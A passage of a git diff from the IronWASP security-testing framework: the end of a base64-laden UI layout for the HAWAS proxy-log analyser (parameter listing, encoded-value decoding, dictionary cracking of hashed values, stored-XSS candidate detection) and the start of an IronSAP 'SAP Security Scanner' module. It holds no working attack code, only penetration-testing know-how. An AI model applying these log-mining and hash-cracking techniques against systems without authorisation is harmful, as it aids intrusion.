/////////////////////////39/f+6urr/Gxsb/xISEv8yMjL/AQEB/wAAAP99fX3/+/v7/////////////////////////////v7+/7+/v/8aGhr/AAAA/2BgYP+ysrL/ExMT/xAQEP+rq6v/+/v7///////////////////////////////////////////////////////IyMj/UVFR/woKCv8AAAD/AAAA/29vb//u7u7//v7+///////////////////////8/Pz/pKSk/wAAAP8AAAD/CAgI/wUFBf8xMTH/ra2t//v7+//////////////////////////////////////////////////////////////////n5+f/ioqK/zQ0NP8AAAD/ICAg/2hoaP+IiIj/mpqa/5mZmf+ZmZn/nJyc/4mJif9cXFz/AAAA/wAAAP8oKCj/gICA/8vLy///////////////////////////////////////////////////////////////////////////////////////zMzM/5OTk/9RUVH/Dg4O/wAAAP8NDQ3/DAwM/wwMDP8ODg7/AAAA/wsLC/8/Pz//i4uL/8LCwv/+/v7/////////////////////////////////////////////////////////////////////////////////////////////////+vr6/+jo6P/V1dX/z8/P/7CwsP+ysrL/srKy/62trf/Pz8//1NTU/+Li4v/4+Pj//////////////////////////////////////////////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + + + + + + + + + + + + 353 + 23 + + + 165 + 14 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + Q2xpY2sgb24gdGhlIFN0YXJ0IEFuYWx5c2lzIGJ1dHRvbiB0byBzdGFydCBhbiBhbmFseXNpcyBvZiB0aGUgUHJveHkgbG9ncw== + + + + + + show_results_btn + + + 135 + 23 + + + 12 + 45 + + + True + False + True + False + + None + True + -986896 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U2hvdyBSZXN1bHRz + + + self.show_results() + + + + status_lbl + + + 653 + 23 + + + 165 + 45 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg + + + + + + result_tabs + + + 875 + 478 + + + 5 + 80 + + + True + True + True + True + + None + True + -986896 + -16777216 + + + parameter_names_tab + + Parameter Names and Values + + + + pnv_selected_value_log_ids_tb + + + 313 + 55 + + + 550 + 393 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + selected_value_log_ids_lbl + + + 303 + 16 + + + 548 + 374 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cy9SZXNwb25zZXMgY29udGFpbmluZyB0aGlzIHZhbHVlOg== + + + + + + select_value_lbl + + + 100 + 15 + + + 548 + 268 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U2VsZWN0ZWQgVmFsdWU6 + + + + + + pnv_selected_value_tb + + + 314 + 88 + + + 550 + 283 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + pnv_values_grid + + + 315 + 256 + + + 548 + 3 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + ValuesClm + DataGridViewTextBoxCell + Fill + 100 + 5 + 307 + True + U2VsZWN0IGEgVmFsdWUgdG8gdmlldyBkZXRhaWxzOg== + + + LogIds + DataGridViewTextBoxCell + NotSet + 100 + 2 + 5 + True + TG9nSWRz + + + + + self.pnv_values_grid_clicked() + + + + mod_label_5 + + + 254 + 17 + + + 5 + 3 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + VGhlIGZvbGxvd2luZyBob3N0cyB3ZXJlIGZvdW5kIGluIHRoZSBsb2dzLg== + + + + + + pnv_selected_parameter_tb + + + 277 + 32 + + + 265 + 265 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + pnv_selected_host_tb + + + 254 + 32 + + + 5 + 416 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + pnv_sections_grid + + + 277 + 145 + + + 265 + 303 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + SectionCln + DataGridViewTextBoxCell + Fill + 100 + 5 + 274 + True + U2VsZWN0IGEgU2VjdGlvbg== + + + + + self.pnv_sections_grid_clicked() + + + + pnv_hosts_grid + + + 254 + 387 + + + 5 + 23 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + HostCln + DataGridViewTextBoxCell + Fill + 100 + 5 + 251 + True + U2VsZWN0IGEgSG9zdA== + + + + + self.pnv_hosts_grid_clicked() + + + + pnv_parameters_grid + + + 277 + 256 + + + 265 + 3 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + ID + DataGridViewTextBoxCell + NotSet + 100 + 2 + 5 + True + SUQ= + + + Parameter Names + DataGridViewTextBoxCell + Fill + 100 + 5 + 269 + True + U2VsZWN0IGEgUGFyYW1ldGVyIE5hbWU= + + + + + self.pnv_parameters_grid_clicked() + + + + + + encoded_parameters_tab + + Encoded Parameter Values + + + + mod_label_2 + + + 205 + 17 + + + 252 + 388 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UGFyYW1ldGVycyBuYW1lcyBjb250YWluaW5nIHRoaXMgdmFsdWU6 + + + + + + enc_parameter_names_tb + + + 270 + 41 + + + 251 + 408 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + mod_label_3 + + + 167 + 14 + + + 251 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U2VsZWN0IGFueSBpdGVtIHRvIHZpZXcgZGV0YWlsczo= + + + + + + mod_label_4 + + + 301 + 18 + + + 527 + 388 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cy9SZXNwb25zZXMgY29udGFpbmluZyB0aGlzIHZhbHVlOg== + + + + + + enc_log_ids_tb + + + 336 + 38 + + + 527 + 409 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + mod_label_6 + + + 100 + 14 + + + 527 + 300 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + RGVjb2RlZCBWYWx1ZTo= + + + + + + mod_label_7 + + + 100 + 14 + + + 251 + 300 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + T3JpZ25hbCBWYWx1ZTo= + + + + + + enc_decoded_value_tb + + + 336 + 68 + + + 527 + 317 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + enc_original_value_tb + + + 270 + 68 + + + 251 + 317 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + enc_values_grid + + + 612 + 268 + + + 251 + 26 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + OriginalValue + DataGridViewTextBoxCell + Fill + 100 + 5 + 265 + True + T3JpZ2luYWxWYWx1ZQ== + + + Encoding Type + DataGridViewTextBoxCell + None + 100 + 70 + 70 + True + RW5jb2Rpbmc= + + + Decoded Value + DataGridViewTextBoxCell + Fill + 100 + 5 + 264 + True + RGVjb2RlZCBWYWx1ZQ== + + + LogIds + DataGridViewTextBoxCell + NotSet + 100 + 2 + 5 + True + TG9nSWRz + + + ParameterNames + DataGridViewTextBoxCell + NotSet + 100 + 2 + 5 + False + UGFyYW1ldGVyTmFtZXM= + + + + + self.enc_values_grid_click() + + + + enc_selected_host_tb + + + 245 + 39 + + + 0 + 408 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + enc_hosts_grid + + + 242 + 376 + + + 3 + 26 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + Host + DataGridViewTextBoxCell + Fill + 100 + 5 + 239 + True + U2VsZWN0IGEgSG9zdA== + + + + + self.enc_hosts_grid_click() + + + + mod_label_8 + + + 203 + 14 + + + 3 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + VGhlIGZvbGxvd2luZyBob3N0cyBoYXZlIGVuY29kZWQgdmFsdWVzOg== + + + + + + + + hashed_parameters_tab + + Hashed Parameter Values + + + + mod_label_9 + + + 205 + 17 + + + 252 + 388 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UGFyYW1ldGVycyBuYW1lcyBjb250YWluaW5nIHRoaXMgdmFsdWU6 + + + + + + hashed_parameter_names_tb + + + 270 + 41 + + + 251 + 408 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + mod_label_10 + + + 167 + 14 + + + 251 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U2VsZWN0IGFueSBpdGVtIHRvIHZpZXcgZGV0YWlsczo= + + + + + + mod_label_11 + + + 301 + 18 + + + 527 + 388 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cy9SZXNwb25zZXMgY29udGFpbmluZyB0aGlzIHZhbHVlOg== + + + + + + hashed_log_ids_tb + + + 336 + 38 + + + 527 + 409 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + mod_label_12 + + + 100 + 14 + + + 527 + 300 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + Q3JhY2tlZCBWYWx1ZTo= + + + + + + mod_label_13 + + + 100 + 14 + + + 251 + 300 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + SGFzaGVkIFZhbHVlOg== + + + + + + hashed_cracked_value_tb + + + 336 + 68 + + + 527 + 317 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + hashed_original_value_tb + + + 270 + 68 + + + 251 + 317 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + hashed_values_grid + + + 612 + 268 + + + 251 + 26 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + OriginalValue + DataGridViewTextBoxCell + Fill + 100 + 5 + 265 + True + T3JpZ2luYWwgSGFzaGVkIFZhbHVl + + + Encoding Type + DataGridViewTextBoxCell + None + 100 + 70 + 70 + True + SGFzaCBUeXBl + + + Decoded Value + DataGridViewTextBoxCell + Fill + 100 + 5 + 264 + True + Q3JhY2tlZCBWYWx1ZQ== + + + LogIds + DataGridViewTextBoxCell + NotSet + 100 + 2 + 5 + True + TG9nSWRz + + + ParameterNames + DataGridViewTextBoxCell + NotSet + 100 + 2 + 5 + False + UGFyYW1ldGVyTmFtZXM= + + + + + self.hashed_values_grid_click() + + + + hashed_selected_host_tb + + + 242 + 39 + + + 3 + 408 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + hashed_hosts_grid + + + 242 + 376 + + + 3 + 26 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + Host + DataGridViewTextBoxCell + Fill + 100 + 5 + 239 + True + U2VsZWN0IGEgSG9zdA== + + + + + self.hashed_hosts_grid_click() + + + + mod_label_14 + + + 203 + 14 + + + 3 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + VGhlIGZvbGxvd2luZyBob3N0cyBoYXZlIGhhc2hlZCB2YWx1ZXM6 + + + + + + + + stored_reflections_tab + + Potential Stored XSS Candidates + + + + mod_label_15 + + + 250 + 17 + + + 251 + 368 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UHJveHkgTG9nIElEcyBvZiBSZXF1ZXN0cyBoYXZpbmcgdGhpcyBQYXJhbWV0ZXI6 + + + + + + sr_request_log_ids_tb + + + 270 + 61 + + + 251 + 388 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + mod_label_16 + + + 167 + 14 + + + 251 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U2VsZWN0IGFueSBpdGVtIHRvIHZpZXcgZGV0YWlsczo= + + + + + + mod_label_17 + + + 307 + 18 + + + 527 + 368 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UHJveHkgTG9nIElEcyBvZiBSZXNwb25zZXMgaGF2aW5nIHN0b3JlZCByZWZsZWN0aW9uIG9mIHZhbHVlOg== + + + + + + sr_response_log_ids_tb + + + 336 + 58 + + + 527 + 389 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + mod_label_18 + + + 100 + 14 + + + 527 + 300 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UmVmbGVjdGVkIFZhbHVlOg== + + + + + + mod_label_19 + + + 100 + 14 + + + 251 + 300 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + UGFyYW1ldGVyIE5hbWU6 + + + + + + sr_value_tb + + + 336 + 48 + + + 527 + 317 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + sr_parameter_name_tb + + + 270 + 48 + + + 251 + 317 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + sr_values_grid + + + 612 + 268 + + + 251 + 26 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + OriginalValue + DataGridViewTextBoxCell + NotSet + 100 + 5 + 100 + True + UGFyYW1ldGVyIE5hbWU= + + + Encoding Type + DataGridViewTextBoxCell + NotSet + 100 + 5 + 100 + True + VmFsdWU= + + + Decoded Value + DataGridViewTextBoxCell + Fill + 100 + 5 + 205 + True + UmVxdWVzdHMgd2l0aCBQYXJhbWV0ZXI= + + + LogIds + DataGridViewTextBoxCell + Fill + 100 + 2 + 204 + True + UmVzcG9uc2VzIHdpdGggUmVmbGVjdGlvbg== + + + + + self.sr_values_grid_click() + + + + sr_selected_host_tb + + + 242 + 39 + + + 3 + 408 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + + + + + + + + + + sr_hosts_grid + + + 242 + 376 + + + 3 + 26 + + + True + False + True + False + + None + True + -1 + -16777216 + False + False + False + True + False + True + False + DisableResizing + FullRowSelect + -1 + + + Host + DataGridViewTextBoxCell + Fill + 100 + 5 + 239 + True + U2VsZWN0IGEgSG9zdA== + + + + + self.sr_hosts_grid_click() + + + + mod_label_20 + + + 203 + 14 + + + 3 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + VGhlIGZvbGxvd2luZyBob3N0cyBoYXZlIGhhc2hlZCB2YWx1ZXM6 + + + + + + + + interactive_testing_tab + + Interactive Testing + + + + + + + + 830 + 135 + + + 17 + 19 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + VGhpcyBzZWN0aW9uIHdhcyBvcmlnaW5hbGx5IHBsYW5uZWQgdG8gaG9sZCB1dGlsaXRpZXMgdG8gcGVyZm9ybSBDU1JGIHRlc3RpbmcsIFByaXZpbGxlZ2UgRXNjYWxhdGlvbiB0ZXN0cyBhbmQgSGlkZGVuIFBhcmFtZXRlciBHdWVzc2luZyB0ZXN0cyBiYXNlZCBvbiB0aGUgaW5mb3JtYXRpb24gZm91bmQgaW4gdGhlIGFuYWx5c2lzIG9mIHRoZSBsb2cuDQoNCkhvd2V2ZXIgdG8gcHJvdmlkZSBhIG1vcmUgcm9idXN0IFVJIGZvciB0aGVzZSB0ZXN0cyB0aGVzZSBmdW5jdGlvbmFsaXR5IGhhdmUgYmVlbiBtb3ZlZCB0byB0aGUgSXJvbldBU1AgY29yZSBpdHNlbGYuDQpUbyBhY2Nlc3MgdGhlc2UgZmVhdHVyZXMgZ28gdG8gdGhlIExvZ3Mgc2VjdGlvbiBpbnNpZGUgSXJvbldBU1AsIGNsaWNrIG9uIHRoZSAnU2VhcmNoIGFuZCBBbmFseXplIExvZ3MnIGJ1dHRvbiB0aGVyZS4NCkFmdGVyIHlvdSBkbyBhIHNlYXJjaCwgY2xpY2sgb24gdGhlICdUZXN0IFNlbGVjdGVkIExvZ3MnIGJ1dHRvbiB0byBhY2Nlc3MgdGhlc2UgZmVhdHVyZXMu + + + + + + + + + + + Help + + + + + + + + 861 + 446 + + + 3 + 3 + + + True + False + True + False + + Fill + True + -986896 + -16777216 + None + True + Vertical + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + True + Left + SEFXQVMgYW5hbHl6ZXMgeW91ciBQcm94eSBsb2dzIGFuZCBsb29rcyBmb3IgaW50ZXJlc3RpbmcgaW5mb3JtYXRpb24uIE9uY2UgdGhlIGFuYWx5c2lzIGlzIGNvbXBsZXRlIHRoZSByZXN1bHRzIGFyZSBzaG93biB0byB5b3UuDQpUaGUgcmVzdWx0cyBhcmVhIGhhcyB0aGUgZm9sbG93aW5nIHNlY3Rpb25zOg0KDQpQYXJhbWV0ZXIgTmFtZXMgYW5kIFZhbHVlczoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KVGhpcyBzZWN0aW9uIGxpc3RzIGFsbCB0aGUgcGFyYW1ldGVyIG5hbWVzIGFuZCB2YWx1ZXMgZGlzY292ZXJlZCBmcm9tIHRoZSBsb2dzLiBUaGVzZSBhcmUgY2F0ZWdvcml6ZWQgYnkgdGhlIGhvc3RuYW1lcy4NClRoZSBsaXN0IG9mIGFsbCBob3N0cyBkaXNjb3ZlcmVkIGluIHRoZSBsb2dzIGlzIGRpc3BsYXllZCBpbiB0aGUgbGVmdC1tb3N0IGFyZWEuIFdoZW4geW91IGNsaWNrIG9uIGFueSBvZiB0aGUgbGlzdGVkIGhvc3RuYW1lcyB0aGVuIHRoZSBuYW1lcyBvZiBhbGwgdGhlIHBhcmFtZXRlcnMgYmVsb25naW5nIHRvIHRoYXQgaG9zdCBhcmUgc2hvd24uDQpXaGVuIHlvdSBjbGljayBvbiBhIHBhcmFtZXRlciBuYW1lLCB0aGUgc2VjdGlvbnMgaW4gd2hpY2ggdGhlc2UgcGFyYW1ldGVyIG5hbWVzIHdlcmUgZGlzY292ZXJlZCBpcyBzaG93bi4NCldoZW4geW91IGNsaWNrIG9uIG9uZSBvZiB0aGUgc2VjdGlvbnMgdGhlbiBhbGwgdGhlIHZhbHVlcyB0aGF0IHRoZSBzZWxlY3RlZCBwYXJhbWV0ZXIgaGFkIGluIHRoZSBzZWN0aW9uIGFyZSBsaXN0ZWQuDQoNClRoaXMgY2FuIGJlIGhlbHBmdWwgaW4gZ2V0IGEgcXVpY2sgb3ZlcnZpZXcgb2YgdGhlIHNpdGUgYW5kIHRvIGlkZW50aWZ5IHBhcmFtZXRlcnMgd2l0aCBpbnRlcmVzdGluZyBuYW1lcyBhbmQgdmFsdWVzLg0KDQpFbmNvZGVkIFBhcmFtZXRlciBWYWx1ZXM6DQo9PT09PT09PT09PT09PT09PT09PT09PT09DQpTb21ldGltZXMgcGFyYW1ldGVycyBjb3VsZCBoYXZlIHZhbHVlcyB0aGF0IGFyZSBlaXRoZXIgSGV4IG9yIEJhc2U2NCBlbmNvZGVkLiBJZiBIQVdBUyBpZGVudGlmaWVkIGFueSBwYXJhbWV0ZXJzIHdpdGggc3VjaCBlbmNvZGVkIHZhbHVlcyB0aGVuIGl0IGRlY29kZXMgdGhlbSBhbmQgbGlzdHMgdGhlbSBoZXJlLg0KQWdhaW4gdGhlIGZpbmRpbmdzIGFyZSBjYXRlZ29yaXplZCBieSBob3N0bmFtZS4gQ2xpY2sgb24gYSBob3N0bmFtZSB0byBzZWUgaWYgaXQgY29udGFpbmVkIGFueSBlbmNvZGVkIHBhcmFtZXRlciB2YWx1ZXMuDQpPbmx5IEhleCBhbmQgQmFzZTY0IGVuY29kaW5nIGRldGVjdGlvbiBhcmUgc3VwcG9ydGVkIGZvciBub3cuDQoNCkhhc2hlZCBQYXJhbWV0ZXIgVmFsdWVzOg0KPT09PT09PT09PT09PT09PT09PT09PT09DQpTb21ldGltZXMgcGFyYW1ldGVycyBjb3VsZCBoYXZlIHZhbHVlcyB0aGF0IGFyZSBTSEEgb3IgTUQ1IGhhc2hlcy4gSWYgSEFXQVMgaWRlbnRpZmllZCBhbnkgcGFyYW1ldGVycyB3aGljaCBsb29rIGxpa2UgaGFzaGVzIHRoZW4gaXQgdHJpZXMgdG8gY3JhY2sgdGhlbSBieSB1c2luZyB0aGUgbGlzdCBvZiBwYXJhbWV0ZXIgdmFsdWVzIGZyb20gdGhlIHNhbWUgaG9zdCBhcyBkaWN0aW9uYXJ5IGxpc3QuDQpJZiBIQVdBUyBpcyBhYmxlIHRvIGNyYWNrIGFueSBvZiB0aGVzZSBoYXNoZXMgdGhlbiBpdCBpbmNsdWRlcyB0aGUgY3JhY2tlZCB2YWx1ZSBpbiB0aGUgcmVzdWx0IGFsb25nIHdpdGggdGhlIG5hbWUgYW5kIGRldGFpbHMgb2YgdGhlIHBhcmFtZXRlciB0aGF0IGNvbnRhaW5lZCB0aGUgaGFzaGVkIHZhbHVlIGFuZCB0aGUgcGFyYW1ldGVyIHRoYXQgY29udGFpbmVkIHRoZSBjbGVhci10ZXh0IHZhbHVlIHVzZWQgdG8gY3JhY2sgdGhlIGhhc2guDQpBZ2FpbiB0aGUgZmluZGluZ3MgYXJlIGNhdGVnb3JpemVkIGJ5IGhvc3RuYW1lLiBDbGljayBvbiBhIGhvc3RuYW1lIHRvIHNlZSBpZiBpdCBjb250YWluZWQgYW55IGhhc2hlZCBwYXJhbWV0ZXIgdmFsdWVzLg0KDQpQb3RlbnRpYWwgU3RvcmVkIFhTUyBDYW5kaWRhdGVzOg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NClN0b3JlZCBYU1Mgb25seSBoYXBwZW5zIHdoZW4gdGhlIGFwcGxpY2F0aW9uIHN0b3JlcyB1c2VyIGlucHV0IG9uIHRoZSBzZXJ2ZXItc2lkZSBhbmQgcmV0dXJucyBpdCBiYWNrIGluIHNvbWUgb3RoZXIgcGFydCBvZiB0aGUgc2l0ZS4gSW4gYSBiaWcgYXBwbGljYXRpb24gaXQgd291bGQgYmUgZGlmZmljdWx0IHRvIGZpbmQgb3V0IHRoZSBwb3RlbnRpYWwgYXJlYXMgd2hlcmUgdGhpcyB0eXBlIG9mIHN0b3JlZCByZWZsZWN0aW9uIGJlaGF2aW91ciBpcyBoYXBwZW5pbmcuDQpIQVdBUyBpZGVudGlmaWVzIGFsbCBhcmVhcyB3aGVyZSBwYXJhbWV0ZXIgdmFsdWVzIGZyb20gc2F5IFJlcXVlc3QgQSBhcHBlYXJzIGluIHRoZSBib2R5IG9mIGFuIHVucmVsYXRlZCBSZXNwb25zZSBCLiBJZiBSZXF1ZXN0IEIgZGlkIG5vdCBjb250YWluIHRoZXNlIHBhcmFtZXRlciB2YWx1ZXMgdGhlbiB0aGVyZSBpcyBhIHBvc3NpYmlsaXR5IHRoYXQgdGhpcyB3YXMgcHV0IGluIHRvIFJlc3BvbnNlIEIgYnkgdGhlIHNlcnZlciBhZnRlciBzdG9yaW5nIHRoZW0gZnJvbSBSZXF1ZXN0IEEgb24gdGhlIHNlcnZlci1zaWRlLg0KDQpBbGwgaWRlbnRpZmllZCBpbnN0YW5jZXMgb2YgdGhpcyBiZWhhdmlvdXIgYXJlIGNhdGVnb3JpemVkIGJ5IGhvc3RuYW1lIGFuZCBsaXN0ZWQgaGVyZS4gQ2xpY2sgb24gYSBob3N0bmFtZSB0byBzZWUgaWYgdGhlcmUgd2VyZSBhbnkgc3RvcmVkIHJlZmxlY3Rpb25zLiBTbWFsbCBwYXJhbWV0ZXIgdmFsdWVzIGFyZSBpZ25vcmVkIGR1cmluZyB0aGlzIGFuYWx5c2lzIHRvIHJlZHVjZSBub2lzZS4= + + + + + + + + + + + + + + + + + + + control_btn + + + 135 + 23 + + + 12 + 15 + + + True + False + True + False + + None + True + -986896 + -16777216 + + False + Microsoft Sans Serif + False + 8.25 + False + False + + U3RhcnQgQW5hbHlzaXM= + + + self.start_stop_hawas() + + + + \ No newline at end of file diff --git a/Iron/bin/Debug/modules/IronSAP/IronSAP.py b/Iron/bin/Debug/modules/IronSAP/IronSAP.py new file mode 100644 index 0000000..c4a32ac --- /dev/null +++ b/Iron/bin/Debug/modules/IronSAP/IronSAP.py @@ -0,0 +1,256 @@ +from IronWASP import * +from IronSAPCore import start + +class IronSAP(Module): + + #Override the GetInstance method of the base class to return a new instance with details + def GetInstance(self): + m = IronSAP() + m.Name = "IronSAP" + return m + + def StartModule(self): + self.start_ui() + + def start_ui(self): + self.thread_id = 0 + + ui = ModUi() + ui.Size = ModUiTools.GetSizeDefinition(800,600) + ui.Text = Tools.Base64Decode('SXJvblNBUCAtICBTQVAgU2VjdXJpdHkgU2Nhbm5lcg==') + ui.Icon = ModUiTools.GetIconDefinition('AAABAAYAICAQAAAAAADoAgAAZgAAABAQEAAAAAAAKAEAAE4DAAAgIAAAAQAIAKgIAAB2BAAAEBAAAAEACABoBQAAHg0AACAgAAABACAAqBAAAIYSAAAQEAAAAQAgAGgEAAAuIwAAKAAAACAAAABAAAAAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIoiIiIiIiIiIiIiIiIiIiIiCIigiIiIozMzMzMzMyCIogiIoIiIiKM7m5ubm5sgiKIIiKCIiIijObm5ubm7IIiiCIigiIiIozubm5ubmyCIogiIoIiIiKM5ubm5ubsgiKIIiKCIiIijO5ubm5ubIIiiIiIiIiIiIzm5ubm5uyCIogRERERERGM7u7u7u7sgiKIHZWVlZWRjMzMzMzMzIIiiB1ZWVlZUYiIiIiIiIiIiIgdlZWVlZGDMzMzMzMzMzOIHVlZWVlRg/uLi4uLi4uDiB2VlZWVkYP7uLi4uLi4s4gdWVlZWVGD+4uLi4uLi4OIHZWVlZWRg/u4uLi4uLiziB1ZWVlZUYP7i4uLi4uLg4gdlZWVlZGD+7i4uLi4uLOIHVlZWVlRg/uLi4uLi4uDiB3d3d3d0YP7uLi4uLi4s4gRERERERGD+4uLi4uLi4OIiIiIiIiIg/u4uLi4uLiziCIiIiIiIoP7i4uLi4uLg4giIiIiIiKD+7i4uLi4uLOIIiIiIiIig/uLi4uLi4uDiCIiIiIiIoP7u7u7u7u7s4giIiIiIiKD//////////OIIiIiIiIigzMzMzMzMzMziIiIiIiIiIiIiIiIiIiIiIIiIiIiIiIiIiIiIiIiIiIv//////////AAAAAHv4AA57+AAOe/gADnv4AA57+AAOe/gADgAAAA4AAAAOAAAADgAAAAAAAAAAAAA